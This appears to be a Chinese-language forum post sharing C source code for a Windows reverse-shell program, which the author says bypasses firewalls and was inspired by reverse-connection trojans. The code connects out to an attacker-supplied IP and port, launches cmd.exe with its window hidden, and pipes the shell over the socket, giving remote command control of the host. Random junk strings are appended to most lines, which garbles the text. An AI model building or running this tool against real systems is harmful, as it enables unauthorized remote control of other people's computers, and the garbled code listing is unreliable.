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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d7y`AS@q6  
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/* ============================== /#z5bo  
Rebound port in Windows NT ec: ?Q0  
By wind,2006/7  $&96qsr  
===============================*/ 0sv#* &0=  
#include Tw< N  
#include a a=GW%  
#7IM#t c@  
#pragma comment(lib,"wsock32.lib") ~Cx07I_lf  
[lpzUB}<Yp  
void OutputShell(); |hjm^{!TpW  
SOCKET sClient; ~n$VCLa  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $ZD1_sJ.  
8F(lW)An  
void main(int argc,char **argv) F$UvYy4O d  
{ #Mt'y8|}$  
WSADATA stWsaData; {(@M0?  
int nRet; X !g"D6'  
SOCKADDR_IN stSaiClient,stSaiServer; %vvA'WG  
N<1u,[+  
if(argc != 3) c rPEr  
{ JzJS?ZF  
printf("Useage:\n\rRebound DestIP DestPort\n"); a$p?r3y  
return; 5-M E Oy(  
} Cpu L[|51  
:b[ [}'  
WSAStartup(MAKEWORD(2,2),&stWsaData); 8<C u S  
5:%xuJD  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 37DyDzW)'  
{OP[Rrm  
stSaiClient.sin_family = AF_INET; )UA};Fus  
stSaiClient.sin_port = htons(0); *p}b_A}D  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4k5X'&Q  
a9C8Q l  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ah,X?0+  
{ n}MW# :eJe  
printf("Bind Socket Failed!\n"); *Ppb;   
return; eXY*l>B  
} =m.Lw  
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stSaiServer.sin_family = AF_INET; V&U1WV/  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Vp*#,(_G:  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); nqNL[w6{  
*HFRG)[V  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !%{/eQFT4  
{ iB;EV8E  
printf("Connect Error!"); ES[H^}|Gi  
return; tLXwszR0r  
} ;uj&j1  
OutputShell(); QFMR~6 ?  
} C?jk#T  
;/w-7O:  
void OutputShell() G. Z:00x  
{ _KBN  
char szBuff[1024]; .UF](  
SECURITY_ATTRIBUTES stSecurityAttributes; BbEWa  
OSVERSIONINFO stOsversionInfo; "c8 -xG  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n,hl6[OL7  
STARTUPINFO stStartupInfo; N t]YhO  
char *szShell; q}[g/%  
PROCESS_INFORMATION stProcessInformation; k%|7H,7  
unsigned long lBytesRead; *Y"Kbn 6  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); I8;xuutc  
QOA7#H-m9  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); pvdM3+6  
stSecurityAttributes.lpSecurityDescriptor = 0; r(;sX  
stSecurityAttributes.bInheritHandle = TRUE; n qSjP5  
ME"B1 Se\  
\vj<9ke&  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c5x2FM z  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #=mLQSiQ  
yd#SB)&  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); tHAr9  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HriY-=ji>a  
stStartupInfo.wShowWindow = SW_HIDE; :.wR*E  
stStartupInfo.hStdInput = hReadPipe; *->2$uWP  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; E9e|+$  
'4-J0S<<_  
GetVersionEx(&stOsversionInfo); `|maf=SnY5  
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switch(stOsversionInfo.dwPlatformId) <d89eV+  
{ ~9%L)nC2'  
case 1: Y+vG ]?D  
szShell = "command.com"; q<.m@q  
break; YJdM6   
default: 72uARF  
szShell = "cmd.exe"; \)KLm  
break; RCM;k;@8V  
} 'sb&xj`d  
O# n<`;W  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !C13E lf  
cP#vzFB0>  
send(sClient,szMsg,77,0); >&pB&'A a  
while(1) cAFYEx/(  
{ SU>2MT^  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); $*N^ bj  
if(lBytesRead) *AK{GfP_  
{ ]fxYS m  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .nDB{@#  
send(sClient,szBuff,lBytesRead,0); KrVP#|9%"  
} t}FwS6u  
else =PU! hZj"L  
{ `sW+R=  
lBytesRead=recv(sClient,szBuff,1024,0); P/%5J3_,  
if(lBytesRead<=0) break; yN-o?[o  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); d$DNiJ ,  
} \! `k:lusa  
} @8\7H'K"\  
X#v6v)c  
return; v_U+wga  
}
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